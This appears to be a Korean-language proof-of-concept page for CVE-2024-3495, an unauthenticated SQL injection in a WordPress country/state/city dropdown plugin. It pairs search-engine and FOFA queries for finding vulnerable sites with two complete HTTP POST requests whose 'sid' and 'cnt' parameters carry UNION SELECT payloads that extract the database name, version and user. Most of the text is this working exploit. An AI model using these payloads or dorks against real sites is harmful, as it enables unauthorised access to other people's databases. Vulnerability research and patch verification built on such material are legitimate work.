truonghuuphuc/cve-2024-3495-pocCVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - 인증되지 않은 SQL 인젝션
CVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - 인증되지 않은 SQL 인젝션
설명
WordPress용 Country State City Dropdown CF7 플러그인은 2.7.2 버전까지의 버전에서 'cnt' 및 'sid' 파라미터를 통한 SQL 인젝션에 취약합니다. 이는 사용자가 제공하는 파라미터에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 충분한 준비 부족 때문입니다.
inurl:"/wp-content/plugins/country-state-city-auto-dropdown/"
https://x.com/fofabot/status/1793477848428364155
FOFA Query: body="/wp-content/plugins/country-state-city-auto-dropdown/"
https://en.fofa.info/result?qbase64=Ym9keT0iL3dwLWNvbnRlbnQvcGx1Z2lucy9jb3VudHJ5LXN0YXRlLWNpdHktYXV0by1kcm9wZG93bi8i
파일: includes\ajax-actions.php
nonce 발견
PoC:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
action=tc_csca_get_states&nonce_ajax={{nonce}}&cnt=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
